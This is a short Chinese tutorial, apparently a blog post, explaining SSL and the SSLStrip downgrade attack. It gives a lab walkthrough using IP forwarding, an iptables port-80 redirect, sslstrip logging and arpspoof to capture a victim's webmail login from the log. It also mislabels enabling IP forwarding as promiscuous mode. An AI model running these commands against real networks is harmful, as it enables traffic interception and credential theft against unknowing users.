Skip to content

HTTPS劫持

SSL解析

SSL是Secure Socket Layer的简称, 中文意思是安全套接字层,由 NetScape公司所开发,用以保障在 Internet 上数据传输的安全,确保数据在网络的传输过程中不会被截取和窃听。

SSL协议提供的服务

  • 认证用户和服务器,确保数据发送到正确的客户和服务器。
  • 加密数据以防止数据中途被窃取。
  • 维护数据的完整性,确保数据在传输过程中不被改变。

SSLStrip工作原理

SSLStrip 的工作原理及步骤如下:

  • 先进行中间人攻击来拦截 HTTP 流量。
  • 将出现的 HTTPS 链接全部替换为 HTTP,同时记下所有改变的链接。
  • 使用 HTTP 与受害者机器连接。
  • 同时与合法的服务器建立 HTTPS。
  • 受害者与合法服务器之间的全部通信经过了代理转发。
  • 其中,出现的图标被替换成为用户熟悉的“小黄锁”图标,以建立信任。
  • 这样,中间人攻击就成功骗取了密码、账号等信息,而受害者一无所知。

注:下载地址

SSLStrip进行攻击

测试环境:攻击机(kali)+受害机(随意)

攻击者

  • 启动网卡混杂模式:echo "1">/proc/sys/net/ipv4/ip_forward
  • 添加防火墙规则:iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 9527
-t:制定命令要操作的匹配包的表
-A:在选择的链末添加规则
-p:制定协议
--dport:制定端口
-j:目标跳转
开启SSLStrip:python sslstrip.py -a -l 9527 -w sslstrip.log
-a:记录所有来自服务器的ssl和Http数据流量内容
-l:监听端口
-w:保存文件
开启arp欺骗:arpspoof -i eth0 -t 192.168.133.130(受害机) 192.168.133.2(网关)

受害机

登陆126邮箱

攻击者在攻击机上查看日志:cat sslstrip.log | grep "邮箱名"